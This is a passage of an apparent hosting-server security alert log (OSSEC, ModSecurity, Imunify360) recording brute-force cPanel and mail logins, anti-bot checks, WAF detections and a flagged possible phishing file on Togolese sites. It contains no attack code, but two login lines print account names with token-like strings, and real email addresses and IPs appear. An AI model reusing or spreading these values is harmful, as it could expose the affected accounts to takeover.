country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:00:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143900&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781575247 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:02:00:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946985&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781575253 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.57.234
country_id: 3865483
description:
[2026-06-16 02:04:10 +0000] info [cpaneld] 181.46.57.234 - dagltg "GET /login/?login_only=1&user=dagltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dagltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.39.137.32
country_id: 3865483
description:
[2026-06-16 02:04:06 +0000] info [cpaneld] 186.39.137.32 - dagl "GET /login/?login_only=1&user=dagl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dagl (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 16 02:06:17 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.172.71.196
country_id: 3469034
domain: belali.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/belali.tg/inscription-2020-2021/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.172.71.196
country_id: 3469034
domain: belali.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/belali.tghttp/belali.tg/inscription-2020-2021/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:09:54 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:09:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.158.45.55
country_id: 690791
description:
[2026-06-16 02:13:04 +0000] info [cpaneld] 94.158.45.55 - togocarrieretsevi "GET /login/?login_only=1&user=togocarrieretsevi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretsevi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.245.193.47
country_id: 1562822
description:
[2026-06-16 02:13:14 +0000] info [cpaneld] 14.245.193.47 - togocarrierets "GET /login/?login_only=1&user=togocarrierets&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrierets (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.239.40.225
country_id: 1522867
description:
[2026-06-16 02:13:24 +0000] info [cpaneld] 109.239.40.225 - togocarriere "GET /login/?login_only=1&user=togocarriere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarriere (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.142.149.240
country_id: 2017370
description:
[2026-06-16 02:13:27 +0000] info [cpaneld] 5.142.149.240 - togocarrier "GET /login/?login_only=1&user=togocarrier&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrier (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.97.136.239
country_id: 290557
description:
[2026-06-16 02:13:37 +0000] info [cpaneld] 92.97.136.239 - togocarr "GET /login/?login_only=1&user=togocarr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.192.121.73
country_id: 3469034
description:
[2026-06-16 02:13:43 +0000] info [cpaneld] 181.192.121.73 - togoca "GET /login/?login_only=1&user=togoca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.33.235.114
country_id: 6252001
description:
[2026-06-16 02:13:54 +0000] info [cpaneld] 76.33.235.114 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 02:15:16 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:33916: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 02:15:22 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:56304: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 223.109.252.151
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2346||QS:add-to-cart=2346||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.178.92
country_id: 1562822
domain: macite.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/macite.tg/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:16:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842521&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576192 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:02:16:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987273&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576195 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 02:20:38 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:38612: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:22:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:02:22:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.232.65.142
country_id: 3469034
description:
Jun 16 02:22:56 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.232.65.142 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 67.216.216.111
country_id: 6252001
domain: haplucia-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:67.216.216.111||TA:67.216.216.111||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:22:45 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:02:22:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.121.77.66
country_id: 732800
description:
Jun 16 02:24:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.121.77.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.103.129.4
country_id: 2589581
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/www.sanlam.com HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.158.15.171
country_id: 2264397
description:
5.158.15.171 - - [16/Jun/2026:02:26:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738596&pdata=https%253A%252F%252F24heureinfo.tg%252Fpolitique%252Ftogo-une-prophetie-tiktok-secoue-la-sphere-politique-kodjo-adedze-monte-au-creneau%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576760 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/politique/togo-une-prophetie-tiktok-secoue-la-sphere-politique-kodjo-adedze-monte-au-creneau/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.1840.1952 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.158.15.171


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 16 02:26:44 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.92.203
country_id: 2921044
domain: www.v2.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/www.v2.arse.tg/xmlrpc.php HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:02:28:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128171&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576904 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [16/Jun/2026:02:29:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6801304&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-carrieres-mines-travaux-publics-cmtp-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576945 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-carrieres-mines-travaux-publics-cmtp-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 177.0.213.233
country_id: 3469034
description:
177.0.213.233 - - [16/Jun/2026:02:29:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841239&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576902 HTTP/1.1" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.0.213.233


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:28:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932585&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576901 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:02:28:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841239&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576902 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 177.0.213.233
country_id: 3469034
description:
177.0.213.233 - - [16/Jun/2026:02:29:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841239&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576902 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.0.213.233


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 177.0.213.233
country_id: 3469034
description:
177.0.213.233 - - [16/Jun/2026:02:29:36 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841239&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781576902" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.0.213.233


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.179
country_id: 2635167
description:
[2026-06-16 02:33:11 +0000] info [cpaneld] 5.230.133.179 NEW ifxmoxbf:qo6QuzZcKrMc3bMv address=5.230.133.179,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.233
country_id: 3017382
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.867215979923092.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-16 02:32:22 +0000] info [cpaneld] 45.61.130.187 - nwjvzxzr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nwjvzxzr (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.179
country_id: 2921044
description:
[2026-06-16 02:33:03 +0000] info [cpaneld] 5.175.229.179 NEW wcnyaruu:laWddso7epZH5ixD address=5.175.229.179,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.212.115.34
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:185.212.115.34||TA:185.212.115.34||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.113.20.170
country_id: 1527747
description:
2026-06-16 02:37:42 H=([85.113.20.170]) [85.113.20.170]:54961 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:39:46 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:02:39:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:02:39:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [16/Jun/2026:02:39:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7433114&pdata=http%253A%252F%252Fcfmi.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781577579 HTTP/1.1" 302 0 cfmi.tg "http://cfmi.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:39:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:02:43:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053782&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781577780 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.235.152
country_id: 1835841
description:
Jun 16 02:43:16 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.235.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-06-16 02:43:18 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:53488: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-06-16 02:43:18 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:34181: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:42:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262636&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781577776 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:02:42:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198486&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781577777 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-06-16 02:43:00 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:50894: 535 Incorrect authentication data


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.44.174.121
country_id: 2017370
description:
[2026-06-16 02:44:13 +0000] info [cpaneld] 5.44.174.121 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.90.120.210
country_id: 3469034
description:
[2026-06-16 02:44:16 +0000] info [cpaneld] 168.90.120.210 - anamek "GET /login/?login_only=1&user=anamek&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anamek (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.205.106.181
country_id: 6254930
description:
